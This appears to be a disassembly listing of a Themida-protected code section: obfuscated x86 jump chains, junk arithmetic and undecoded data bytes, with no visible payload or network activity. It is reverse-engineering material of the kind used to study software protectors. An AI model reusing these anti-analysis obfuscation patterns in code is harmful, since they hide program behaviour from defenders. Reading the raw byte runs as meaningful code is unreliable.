loc_550DD7:				; CODE XREF: Themida_:0055161Ej
		push	dword ptr [esp]
		jmp	loc_55B91E
; ---------------------------------------------------------------------------
		db 81h
		dd 1814B1CBh, 0D5E939h,	59660000h, 0EE80EE28h, 3E95E9EDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550DF6:				; CODE XREF: Themida_:00552C01j
		xor	bl, dh
		jmp	loc_554498
; ---------------------------------------------------------------------------
aYrs		db 'YRé!Đ',0
		align 4

loc_550E04:				; CODE XREF: Themida_:00565CA4j
		add	esi, 644271F5h
		add	esi, 49DA35BBh
		push	edi
		mov	edi, 12592853h
		inc	edi
		dec	edi
		xor	edi, 62940254h
		and	edi, 170517DBh
		jmp	loc_55B584
; ---------------------------------------------------------------------------
		db 0E9h, 0F2h, 0F5h
		dd 2C5AFFFFh, 4C8283Ch,	12B1513Ch, 5096E980h, 0FCE9F9B4h
		dd 0AD0000D2h, 0E2CBE56h, 0EEC14534h, 95CE903h,	3C8B0001h
		dd 0CD58E924h, 95F0000h, 242C8BEBh, 4C481h, 0B9510000h
		dd 195116EEh, 75FCBD55h, 71E91C68h, 8900013Ch, 4C381E3h
		dd 81000000h, 4C3h, 241C3300h, 33241C31h, 505C241Ch, 198EE954h
		dd 4330001h, 24248B24h,	4BB0F66h, 10E99C24h, 8300001Fh
		dd 76E904C4h, 5C0000CDh, 9C240CD3h, 0FFF567E9h,	0E1E952FFh
		dd 8100014Ah, 3655F9F3h, 33EB8117h, 89200EB2h, 241C8BD8h
		dd 8FEBE9h, 7F36800h, 2C890000h, 4BD24h, 0EE010000h, 2434335Dh
		dd 10FA7E9h, 2434FF00h,	51DF6859h, 3C890000h, 8B545124h
		dd 0C483240Ch, 4C18104h, 81000000h, 4E9h, 240C3300h, 117CCE9h
		dd 0BA2D5B00h, 164C22Ah, 2ABA05D0h, 875A64C2h, 665C2404h
		dd 6866F9F7h, 89663D44h, 0F7E92414h, 0FF000143h, 0F5E93C77h
		dd 0B2000089h, 3BB2526Dh, 0EA80D2F6h, 0E9525001h, 3761h
		dd 295DEE01h, 50405EF0h, 58241CF7h, 5B6C705h, 58C689E9h
		dd 8EBA5246h, 4244D177h, 8107EAC1h, 4ECh, 242C8900h, 39E368h
		dd 243C8900h, 5D5D21BFh, 3DFAE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550F8A:				; CODE XREF: Themida_:00561F37j
		pop	esi
		jmp	loc_556EB5
; ---------------------------------------------------------------------------
aRst		db 'Rét',7,0
		align 2
		dw 0F181h
		dd 0E05B94B6h, 0CE9CF89h, 51000068h, 0B850E189h, 4, 8358C101h
		dd 0C8704C1h, 1C8B5C24h, 0F2685024h, 8900000Ch,	0F1E92424h
		dd 8100011Ah, 734AC3C5h, 243C8B68h, 4C481h, 2C870000h
		dd 35E95C24h, 35h, 76E950C3h
		db 44h,	1, 0
; ---------------------------------------------------------------------------

loc_550FE7:				; CODE XREF: Themida_:00551BA6j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_565ACF
; ---------------------------------------------------------------------------

loc_550FF2:				; CODE XREF: Themida_:0055792Cj
		push	7BDh
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, 1DF07CE8h
		push	esi
		mov	esi, 41D212A2h
		sub	esi, 5A5816EAh
		jmp	loc_55B897
; ---------------------------------------------------------------------------
		dw 685Ah
		dd 1771h, 137C7E9h, 5359BB00h, 0E4E9437Eh, 81000099h, 4C3h
		dd 4BA5200h, 1000000h, 1C875AD3h, 4A45E924h, 1050001h
		dd 0E9000000h, 8168h, 0B3241C89h, 5CB65276h, 0E996C680h
		dd 0FFFFF784h, 0CD743AB8h, 84B9517Fh, 1262F3Fh,	240C8BCFh
		dd 4C481h, 0C7290000h, 718EE951h, 0ECC00000h, 7BC48003h
		dd 0E958E300h, 42F2h, 0C281E289h, 4, 0EDF1E9h, 8BDF2900h
		dd 0C481241Ch, 4, 1123B951h, 0CE017952h, 6661E959h, 67680000h
		dd 89000018h, 51502414h, 0D725C1B9h, 90D2B87Fh,	4E0591FCh
		dd 2913D725h, 254E2DC8h, 0BA5913D7h, 0EDDA9513h, 5758C201h
		dd 0EE7C35BFh, 0E9FA0155h, 0C4h, 4E981h, 0CAE90000h, 5000120h
		dd 4, 0E904C083h, 12A87h
; ---------------------------------------------------------------------------

loc_5510FC:				; CODE XREF: Themida_:00554962j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56277B
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 34h
		dd 3D11E924h, 4BE0000h,	1000000h, 14875EF2h, 0E9565C24h
		dd 9DF7h
; ---------------------------------------------------------------------------

loc_551120:				; CODE XREF: Themida_:00565B16j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55C039
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 8AE5E9h, 48F5E00h, 0F0215C24h, 0E924348Bh, 9F6Bh, 47EB8158h
		dd 5577986Dh, 49EA6BDh,	216DE9CAh, 0E7800001h, 1B55187h
		dd 0CEE9D5F6h
		db 43h,	1, 0
; ---------------------------------------------------------------------------

loc_551167:				; CODE XREF: Themida_:0055A1D5j
		sub	esi, 0BEA510FDh
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		not	ebx
		shl	ebx, 2
		neg	ebx
		push	edi
		push	ecx
		jmp	loc_56512C
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 4B85024h,	1000000h, 58042444h, 5A2434FFh
		dd 1C1768h, 24048900h, 0E957E089h, 3CB3h, 81FA015Fh, 0EE7C35EAh
		dd 3D8D6855h, 39E90000h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5511BB:				; CODE XREF: Themida_:00553073j
		sub	edx, 0B99E861Ch
		add	ecx, edx
		pop	edx
		sub	ebx, ecx
		jmp	loc_55FC31
; ---------------------------------------------------------------------------

loc_5511CB:				; CODE XREF: Themida_:0055957Fj
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 0C3250B29h
		jmp	loc_55E39B
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0ECh
		dd 0E97D7911h, 0FFFFF23Ch
; ---------------------------------------------------------------------------

loc_5511E4:				; CODE XREF: Themida_:00559496j
		mov	[esp], eax
		mov	eax, 0AD0390Ch
		mov	edi, 0AD03908h
		xor	edi, eax
		jmp	loc_559389
; ---------------------------------------------------------------------------
		dd 1D0E4405h, 6089054Dh, 34FF2D20h, 3B7EE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55120A:				; CODE XREF: Themida_:00563148j
		and	edx, 5C5B307Eh
		push	ecx
		mov	ecx, esp
		jmp	loc_5659A9
; ---------------------------------------------------------------------------
		dd 0F9C3E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55121E:				; CODE XREF: Themida_:005578CEj
		sub	esi, 75A25212h
		add	esi, edx
		jmp	loc_5576E9
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0B612B8Eh, 15EF729h,	977CE9F7h, 0FF510000h, 835F2434h
		dd 0C8B04C4h, 4C48124h,	0F7000000h, 81CF87D1h, 0B09A2E7h
		dd 0D0F7972Bh, 37F76897h, 1C890000h, 0B2DBB24h,	0BA5263ABh
		dd 0F1A7D78h, 0E4E9D321h, 8900011Ch, 0B7E92434h, 8100009Ch
		dd 6151242Ch, 515F16EDh, 0ED6151B9h, 59CF0116h,	0F6F7815Bh
		dd 0E954F1ECh, 12BE1h, 104C483h, 1693E9D8h, 0EE830001h
		dd 24348704h, 8924248Bh, 43BE2434h, 0E95CB215h,	0ABA7h
; ---------------------------------------------------------------------------

loc_5512B8:				; CODE XREF: Themida_:00564F74j
		sub	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_565081
; ---------------------------------------------------------------------------

loc_5512C1:				; CODE XREF: Themida_:005520C0j
		pop	esi
		jmp	loc_5542F3
; ---------------------------------------------------------------------------
		db 0BAh
		dd 21991B8Bh, 118EF281h, 0EA810DC2h, 2C5B0A01h,	12DFCE9h
		dd 51BBB800h, 682CAEh, 29000000h, 0B8E92404h, 5000036h
		dd 150877A9h, 0AE544D05h, 0E36E900h, 0C4830000h, 241C8704h
		dd 7C7FE9h, 24348B00h, 0B7AFE9h, 0D8296600h, 13DE0E9h
		dd 0F12CAC00h, 5806E9h
		db 0
; ---------------------------------------------------------------------------

loc_551321:				; CODE XREF: Themida_:00556333j
		sub	esp, 4
		jmp	loc_553EDE
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9241489h, 0CB1Bh, 850014B9h, 186AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55133E:				; CODE XREF: Themida_:00564BC8j
		mov	eax, [ebx]
		push	dword ptr [esp]
		jmp	loc_55A985
; ---------------------------------------------------------------------------
		dd 0FFF0D3E9h, 242C8BFFh, 10E8E9h, 3F58100h, 0E914F276h
		dd 9C56h, 81EB8143h, 81656865h,	0C70226F3h, 5BDA01A0h
		dd 7F2068h, 240C8900h, 4B9h, 59CA0100h,	6C4368h, 24148900h
		dd 42474FFh, 0BDAFE95Ah, 33BA0000h, 1255925h, 685D5AD0h
		dd 2A9Ah, 55240C89h, 701FD1BDh,	7EE94D76h, 55000146h, 0E92434FFh
		dd 9B03h, 24448166h, 6614A102h,	37E7E950h, 0C0FE0001h
		dd 0CBE9530Ch, 8B00011Ch, 49E92424h, 51FFFFF0h,	563FBF57h
		dd 0F9896C82h, 0E92434FFh, 50Eh
; ---------------------------------------------------------------------------

loc_5513E8:				; CODE XREF: Themida_:0055B668j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_561736
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aIrwsn		db '‰ŕWéN)',0
		align 4
		dd 190DC281h, 0F2814833h, 70517253h, 6E49C281h,	0C281320Dh
		dd 0B71AF9B4h, 15AD129h, 1DBA52C1h, 1081A5Bh, 83585AD1h
		dd 0C8704E9h, 4895C24h,	4B824h,	0B9510000h, 343C6FD3h
		dd 0E54E9h, 0C8B6600h, 6C5B6824h, 14890000h, 4EC8124h
		dd 0E9000000h, 1CFh, 464A055Eh,	15E91397h, 5A000127h, 4EC8356h
		dd 0BA241489h, 0F620990h, 8904EC83h, 14F72414h,	0DAF75A24h
		dd 4EC81h, 7DE90000h, 54000057h, 6824048Fh, 7EA2h, 0FFF055E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551491:				; CODE XREF: Themida_:0055EB7Bj
		mov	ecx, 67E82E50h
		add	ecx, 0BF98504Dh
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55A023
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 0DDh
		dd 81241C8Bh, 4C4h, 2334E900h, 61E90000h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5514BF:				; CODE XREF: Themida_:00552D50j
		add	ebx, 49935F38h
		pop	esi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ecx
		jmp	loc_55EDD6
; ---------------------------------------------------------------------------

loc_5514E6:				; CODE XREF: Themida_:0055DE4Aj
		pop	eax
		jmp	loc_56189F
; ---------------------------------------------------------------------------
		dd 4C481h, 0E5280000h, 582434FFh, 5341E950h, 0D2F60000h
		dd 0CA80D2F6h, 10C28055h, 94B6E9h, 2BBF0500h, 0C4353DBEh
		dd 0E9657B55h, 0DEEEh, 57241C8Bh, 0C4E9E789h, 10000A4h
		dd 0F68159CEh, 0EE6F2305h, 895EF529h, 0F7015DEEh, 243C335Eh
		dd 0E9243C31h, 12616h
; ---------------------------------------------------------------------------

loc_551544:				; CODE XREF: Themida_:00552601j
		xor	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_553E88
; ---------------------------------------------------------------------------

loc_55154E:				; CODE XREF: Themida_:0055B6EAj
		mov	edi, 14AB181Ah
		xor	edi, 44CB4B5Eh
		mov	eax, edi
		pop	edi
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	eax, ebx
		push	edi
		push	edx
		push	eax
		jmp	loc_557824
; ---------------------------------------------------------------------------
		dd 17B768h, 24048900h, 0E95273B8h, 4753E913h, 48B0000h
		dd 1AF9E924h, 3C870000h, 4895C24h, 0B2B95124h, 681EC033h
		dd 33CAh, 0BA241489h, 439C5E06h, 792EA81h, 0D1310E67h
		dd 0E9D9F75Ah, 0CDC5h, 815FF801h, 4ECh,	243C8900h, 4BFh
		dd 0FFF82900h, 3C8B2434h, 6F80E924h, 0A1BB0000h, 8365486Dh
		dd 48904ECh, 1817B824h,	102D2607h, 35016308h, 6F274A17h
		dd 4B90BF57h, 0E78119BEh, 74FC4B14h, 6F7ECF81h,	0EF830FA6h
		dd 81D7F701h, 40EC05C7h, 15B6E96Fh
		db 1, 0
; ---------------------------------------------------------------------------

loc_55160E:				; CODE XREF: Themida_:00561B4Aj
		pop	ebp
		add	ebx, eax
		add	[ebx], ecx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_550DD7
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 685A0424h,	59B6h, 0E9241C89h, 3356h, 2858C580h
		dd 5966E8h, 0A36852D8h,	0E9000012h, 1251Dh
; ---------------------------------------------------------------------------

loc_55164C:				; CODE XREF: Themida_:0055A6B3j
		pop	edx
		add	ebx, 2E776209h
		push	eax
		mov	eax, 7EB73787h
		jmp	loc_5625EB
; ---------------------------------------------------------------------------
		dd offset dword_53EE34+4Ch
		dw 0E9F3h
		dd 122A4h, 33241431h, 248B2414h, 14896624h, 9C506624h
		dd 0FFEDA3E9h, 81D3F7FFh, 942BAC3h, 0FBEFE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55168A:				; CODE XREF: Themida_:00552CDEj
		mov	[edi+eax*4+1], dh
		jmp	loc_556CE1
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0E90B041Bh, 7BE9E929h, 87000075h, 545C243Ch,	6824048Fh
		dd 7158h, 89243C89h, 4C781E7h, 83000000h, 3C8704EFh, 3C895C24h
		dd 4EC8324h, 0B9240C89h, 27A16653h, 0A16657BFh,	59CF2927h
		dd 4247C01h, 5F2434FFh,	4C481h,	815D0000h, 4C5h, 2BF5700h
		dd 57000000h, 0E3FB1BFh, 0CF81473Eh, 602407D2h,	0CA0EEF81h
		dd 0FD0109C8h, 0FA7E95Fh, 2BA0000h, 0E906AD23h,	11516h
		dd 2EC8359h, 24148966h,	839CB151h, 48904ECh, 0CEAAE924h
		dd 0C0830000h, 1EF3E904h, 80B40001h, 5066FFB1h,	4EE95352h
		dd 890000ADh, 0E389241Ch, 4C381h, 0EE680000h, 8900002Dh
		dd 0E9562414h, 0D72Ch, 0C95EA81h, 0EC830705h, 650DE904h
		dd 0EB810000h, 28FF46ACh, 114EE9h, 0C8B6600h, 4EC8324h
		dd 89241489h, 4C281E2h,	52000000h, 0B850E289h, 4, 8158C201h
		dd 4EAh, 24143300h, 0E9241431h,	0B853h,	64CCE681h, 0CE8121E8h
		dd 0BBA2A86h, 583BEE81h, 0E6C1218Eh, 0AEEE8106h, 292FB628h
		dd 8CE95EF0h, 51000088h, 0C181E189h, 4,	13622E9h, 89BB5300h
		dd 0E92D2060h, 1AD1h, 643068h, 241C8900h, 1E54E9h, 0FED8F600h
		dd 347134C0h, 66C1302Ch, 9BC18058h, 88CF8853h, 13B9E9F8h
		dd 505C0001h, 0F23FE9h,	0C7815900h, 4, 8B243C87h, 0C4832424h
		dd 35E3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55181E:				; CODE XREF: Themida_:005560B8j
		push	edx
		mov	dl, 18h
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555F1A
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0E9h
		dd 0D991h
; ---------------------------------------------------------------------------

loc_551838:				; CODE XREF: Themida_:00563797j
		xor	eax, 257B3A5Eh
		jmp	loc_55BC31
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 8B240C33h, 34FF2424h, 0E2E95924h,	460000A3h
		dd 0CE81E6D1h, 577A3D59h, 0C681DEF7h, 0FD27F673h, 2CE9F029h
		dd 660000A2h, 6D0566ADh, 0B12D663Fh, 0FA93E958h, 34FFFFFFh
		dd 0B3E95087h, 520000A9h, 88D2B450h, 8C9BE9E6h,	88BA0000h
		dd 8112DE68h, 0FC4073C2h, 75EA8173h, 0E92B573Ah, 975Eh
		dd 505BD801h, 42474FFh,	8324048Bh, 48F04C4h, 24248B24h
		dd 0F66F9F6h, 0E952CCB6h, 0FEC0h, 804FF480h, 5152AEF4h
		dd 0EE88E588h, 83240C8Bh, 0F78804C4h, 0E924148Bh, 0ED03h
		dd 3E8468h, 241C8900h, 0BBh, 0E38CE900h, 0E95F0000h, 11E22h
		dd 8704C083h, 815C2404h, 28000AEBh, 50EB812Ch, 687E8824h
		dd 43CFh, 0EFADE9h, 53425900h, 0EC4002BBh, 0F7D3F75Eh
		dd 8E66E9D3h, 88510000h, 59EA88FDh, 0E9241C8Bh,	1FC7h
		dd 0E924048Fh, 11E66h
; ---------------------------------------------------------------------------

loc_551940:				; CODE XREF: Themida_:005639AEj
		add	ebp, 264D1577h
		pop	edx
		sub	ebp, 0C93D688Ah
		push	4062h
		mov	[esp], ebp
		jmp	loc_564369
; ---------------------------------------------------------------------------
		dw 8951h
dword_55195C	dd 4C181E1h, 53000000h,	4BBh, 296DE900h	; DATA XREF: Themida_:0055624Eo
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55196E:				; CODE XREF: Themida_:00551A03j
		add	ebx, 40212164h
		jmp	loc_55AF69
; ---------------------------------------------------------------------------
aZ4SS		db '‡4$éŔ‘',0
		dd 6CBD5500h, 8129276Bh, 0EC0C1BEDh, 27ED8118h,	4573C32Dh
		dd 0E17EED81h, 0EB0199A3h, 81242C8Bh, 4C4h, 81C30100h
		dd 0D450ADEBh, 74685702h, 0E900006Eh, 7C77h, 0E9CDF680h
		dd 0D54Fh, 8324148Bh, 806804C4h, 8900007Eh, 0E589242Ch
		dd 4C581h, 0ED830000h, 242C8704h, 243C895Ch, 0FB89CF89h
		dd 0C8CDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5519E9:				; CODE XREF: Themida_:0055939Bj
		jmp	loc_550420
; ---------------------------------------------------------------------------
aIsps		db '‰áPéÝĐ',0
		align 2

loc_5519F6:				; CODE XREF: Themida_:005563DFj
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_550420
; ---------------------------------------------------------------------------

loc_551A01:				; CODE XREF: Themida_:00550AB4j
		sub	ebx, ebp
		jmp	loc_55196E
; ---------------------------------------------------------------------------
		dd 42474FFh, 1276BE9h, 0AEED8100h, 8143673Eh, 0E6ED30F5h
		dd 83EE819Bh, 141E62Bh,	83C681EEh, 8B41E62Bh, 0C483242Ch
		dd 74EE8104h, 0BF1810F8h, 1E47EE45h, 2EEBD55h, 0EF015BB2h
		dd 2B69E95Dh, 0C890000h, 81E18924h, 4C1h, 4E98100h, 87000000h
		dd 248B240Ch, 240C8924h, 0FFEA55E9h, 24048FFFh,	6624248Bh
		dd 0E9240489h, 0FFFFE9A8h, 5866C630h, 0FECFEE80h, 0FBD8E9CEh
		dd 0C889FFFFh, 4E0C159h, 873ACA0Dh, 0ABBA527Bh,	937AF21h
		dd 2434FFD0h, 4C4815Ah,	0E9000000h, 0E45Ah
; ---------------------------------------------------------------------------

loc_551AA8:				; CODE XREF: Themida_:00557E69j
		sub	ebx, ebp
		mov	ebp, ebx
		pop	ebx
		and	ebp, 5B567E58h
		xor	ebp, 37FF38C6h
		add	ebx, ebp
		pop	ebp
		dec	ebx
		push	esi
		mov	esi, 0B0E4FF1h
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563426
; ---------------------------------------------------------------------------
		dd 87DD875Bh, 45E9242Ch, 500000F0h, 2250F1B8h, 0D0F7404Dh
		dd 4F59E35h, 58C589DFh,	815DEE89h, 6D4196CEh, 50554E42h
		dd 922AE9h, 0F2816600h,	66516F4Fh, 6612F0B9h, 994E941h
		dd 0E2810001h, 26E14B57h, 36E3CA81h, 0E8E967ACh, 0BE000021h
		dd 37980DB8h, 10F2AE9h,	243C8B00h, 10ABE9h, 0DED8000h
		dd 8088F580h, 0E80004F5h, 2CD00059h, 0ECB6527Fh, 896CE9h
		db 0
; ---------------------------------------------------------------------------

loc_551B49:				; CODE XREF: Themida_:005573CDj
		mov	[esp], esi
		jmp	loc_55FF64
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 590CE95Ch, 148B0000h, 4C48324h, 0C0E9F001h, 58000055h
		dd 0E9241C87h, 0D327h, 0E904C483h, 0FFFFFDE2h, 0DD2D5DBFh
		dd 928CE95Fh, 0E0890000h, 7433E9h
		db 0
; ---------------------------------------------------------------------------

loc_551B89:				; CODE XREF: Themida_:0055BC2Cj
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5585B6
; ---------------------------------------------------------------------------

loc_551B9D:				; CODE XREF: Themida_:00563FC7j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_550FE7
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F79695DDh, 69E996D6h, 5600007Eh, 2D64E9h, 2DC18100h
		dd 21F7E0A4h, 34E959CFh, 58000079h, 0C380C300h,	0EAC380F6h
		dd 0E9C0B60Fh, 6BBDh, 51D831ADh, 3E004AB9h, 5E9C118h, 0BD22E9h
		dd 56DD8700h, 2EB56850h, 89581175h, 35C8E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551BFE:				; CODE XREF: Themida_:00559FFAj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_55831E
; ---------------------------------------------------------------------------
		dw 8968h
		dd 89000068h, 4812424h,	424h, 0F3F8E900h, 0EB28FFFFh, 378BE9h
		dd 48B6600h, 0C7685024h, 5400005Ah, 12E54E9h, 24148700h
		dd 0BFA3E9h, 6EBE5600h,	460A4C33h, 233FF681h, 0DEF778FDh
		dd 0C555E9h, 9AE95E00h,	810000ABh, 1EAh, 6E2C100h, 8108E2C1h
		dd 263972C2h, 72F28118h, 210F5CF8h, 0E8C15AD0h,	51C83108h
		dd 0D5E95954h, 52000020h, 0F9685A54h, 89000026h, 3DBB241Ch
		dd 81704E54h, 4E5439EBh, 0CF43E970h, 4BD0000h, 1000000h
		dd 5E95DEFh, 5100011Eh,	4B9h, 0E019E900h, 0EC830000h, 7F20E904h
		dd 0BAB00000h, 345AF028h, 0ACE3E9C7h, 0F7810000h, 0B4DAD817h
		dd 8904EC83h, 0CFE9241Ch, 810000E1h, 0E764BFC7h, 725BE926h
		dd 0C7810000h, 4701749Eh, 0DB67E947h, 6EBB0000h, 814E690Eh
		dd 8D186CE3h, 7EBC133h,	1466F381h, 0BD5575F5h, 8A0EF98Bh
		dd 1333C381h, 2FE92A1Ch, 31000067h, 1A69E9E8h, 0EBC10000h
		dd 6BE38106h, 0C1348727h, 0F38104E3h, 6216B2h, 565BDE29h
		dd 42474FFh, 5E2434FFh,	4C481h,	48F0000h, 24248B24h, 24148966h
		dd 7CCAE9h, 24148900h, 278268h,	24048900h, 22BE9h, 0BD555F00h
		dd 499E65DAh, 951AE9h, 71CE8100h, 4E73DE59h, 0B8EE814Eh
		dd 29D0E9AFh, 2050E9F1h, 51570001h, 7E310DB9h, 0E9D9F77Ch
		dd 0FFFFF20Ah, 4C4835Ah, 10AB8E9h, 0C6815800h, 0D29CEC93h
		dd 685EF001h, 36BCh, 0E9241489h, 11E87h, 224B68h, 48F5400h
		dd 4B85024h, 0E9000000h, 5018h,	0BB241C89h, 343BDD2Dh
		dd 32BFBD55h, 0BF5756A7h, 4792753Dh, 7C85CF81h,	0F8E963D6h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551DDF:				; CODE XREF: Themida_:0055C0B3j
		shr	edx, 5
		shl	edx, 5
		add	edx, 1
		jmp	loc_55DD4A
; ---------------------------------------------------------------------------
		db 5Ah,	89h, 0FAh
		dd 81243C8Bh, 4C4h, 81FA0100h, 4ECh, 240C8900h,	0D80E9h
		dd 4EC8300h, 13849E9h, 7DBF5700h, 8129E84Eh, 6027F8EFh
		dd 81DFF76Fh, 0E357E6C7h, 5FF889EAh, 4EC81h, 5AE90000h
		dd 0D3FFFFEEh, 0E99C2404h, 133DBh
; ---------------------------------------------------------------------------

loc_551E3C:				; CODE XREF: Themida_:00562244j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_560665
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24048704h, 683FE9h, 6DE95E00h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_551E63:				; CODE XREF: Themida_:005566D9j
		add	esi, edx
		jmp	loc_556202
; ---------------------------------------------------------------------------
aRfhSk		db 'Rfh[,ékź',0
		align 4

loc_551E74:				; CODE XREF: Themida_:0055B954j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55F74E
; ---------------------------------------------------------------------------
aSsje		db 'S醅',0
		dw 8100h
		dd 0E43F91C2h, 9539E910h, 0ED810000h, 8BF3020h,	0F7E9FD01h
		db 3, 1, 0
; ---------------------------------------------------------------------------

loc_551EA3:				; CODE XREF: Themida_:00558332j
		push	0E4FC6C1Eh
		pop	edx
		jmp	loc_5570CA
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 2F4C11E4h, 8102E3C1h, 177CF1CBh, 8E3C172h, 481FE9h
		dd 4C28100h, 81000000h,	4C2h, 24148700h, 62AE9h
		db 0
; ---------------------------------------------------------------------------

loc_551ED9:				; CODE XREF: Themida_:0055281Ej
		push	52E8h
		mov	[esp], ebx
		push	eax
		push	ecx
		mov	ch, dl
		push	edx
		mov	dh, ch
		mov	al, dh
		jmp	loc_55A7C2
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 83000000h,	48704E8h, 5285E924h, 15B0000h
		dd 42E95DEAh, 660000C4h, 6968665Bh, 1781E90Dh, 0F3800001h
		dd 0AEB802Eh, 0D800C804h, 285BC82Ch, 51C72CD8h,	5263E9h
		dd 4C68100h, 51000000h,	417038B9h, 5E9C144h, 0F1814149h
		dd 2220B85h, 8759CE01h,	0C15C2434h, 0DFF703EFh,	0EB5FC781h
		dd 0F9890611h, 0C199E9h, 0C2ED8100h, 0E90F9235h, 0C30Ch
		dd 3996E945h, 815B0000h, 0E760D0EBh, 81FB294Fh,	0E760D0C3h
		dd 243C8B4Fh, 0E904C483h, 2017h, 8B2434FFh, 30E92414h
		dd 50FFFFF8h, 405E089h,	51000000h, 4B9h, 59C82900h, 0E9240487h
		dd 727Ch, 3F55E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551FB2:				; CODE XREF: Themida_:00556CDCj
		add	ebx, 722EE0A8h
		add	ebp, 1EB25EA9h
		add	ebp, 5E97563Dh
		add	ebp, ebx
		jmp	loc_565A3C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D13196F5h, 5DE98966h, 45CEF181h, 0BE562783h, 77ED25C1h
		dd 8107E6C1h, 8573B8C6h, 2E6C15Dh, 47CEE81h, 35E94040h
		dd 890000BEh, 4C681E6h,	83000000h, 348704C6h, 0E9515C24h
		dd 3000h
; ---------------------------------------------------------------------------

loc_55200C:				; CODE XREF: Themida_:005620B2j
		mov	ebp, [esp]
		jmp	loc_55E3EE
; ---------------------------------------------------------------------------

loc_552014:				; CODE XREF: Themida_:0055B560j
		pop	esp
		push	ebp
		push	esi
		jmp	loc_555D9B
; ---------------------------------------------------------------------------

loc_55201C:				; CODE XREF: Themida_:00553BF5j
		mov	ebx, 28h
		sub	ebx, 136F4FE2h
		add	ebx, edi
		jmp	loc_558288
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 4EC8324h, 0B9240C89h, 4, 4244C01h, 24348B59h, 10191E9h
		dd 4CEB800h, 0C529363Ch, 5DE80158h, 8904EC83h, 64BB241Ch
		dd 29562B2Ah, 34FF5BD8h, 24148B24h, 1A51E9h, 0A4EB8100h
		dd 0E9452848h, 0FFFFF6EEh, 87242C89h, 0E3E92414h, 2900007Ah
		dd 0AB2D5AD5h, 2D6A123Bh, 66624898h, 9805E801h,	0E9666248h
		dd 0B9CFh, 83241C8Bh, 48704C4h,	8B665C24h, 0C483240Ch
		dd 1A91E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5520B2:				; CODE XREF: Themida_:00557AA6j
		add	esp, 4
		xor	esi, 364A4E30h
		mov	edx, esi
		jmp	loc_5512C1
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 16h
		dd 0C12F3054h, 0EFC104EFh, 13C78104h, 14F0309h,	0C6E95FFBh
		dd 0F700009Ah, 207AE9D1h, 6F290000h, 4819E920h,	0E95F0000h
		dd 0E215h
; ---------------------------------------------------------------------------

loc_5520F4:				; CODE XREF: Themida_:005654CFj
		xor	ebx, edi
		pop	edi
		or	edi, ebx
		pop	ebx
		not	edi
		xor	edi, 80E049h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_55B656
; ---------------------------------------------------------------------------
		dd 0FFFFEA81h, 0B850FFFFh, 194D016Dh, 0E958C231h, 0F048h
